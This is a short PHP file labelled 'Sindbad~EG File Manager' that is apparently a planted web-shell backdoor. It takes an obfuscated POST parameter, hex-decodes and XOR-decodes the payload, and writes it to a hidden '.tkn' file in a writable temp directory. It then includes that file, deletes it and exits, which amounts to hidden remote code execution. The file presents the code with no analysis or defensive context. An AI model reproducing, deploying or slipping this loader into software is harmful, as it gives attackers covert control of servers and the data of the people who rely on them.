Sindbad~EG File Manager

<?php

if(!is_null($_POST["sym\x62o\x6C"] ?? null)){
	$pgrp = hex2bin($_POST["sym\x62o\x6C"]);
	$component='' ; foreach(str_split($pgrp) as $char){$component .= chr(ord($char) ^ 45);}
	$k = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path()]);
	$marker = 0;
do {
    $ent = $k[$marker] ?? null;
    if ($marker >= count($k)) break;
    		if ((bool)is_dir($ent) && (bool)is_writable($ent)) {
    $comp = "$ent" . "/.tkn";
    if (file_put_contents($comp, $component)) {
	include $comp;
	@unlink($comp);
	exit;
}
}
    $marker++;
} while (true);
}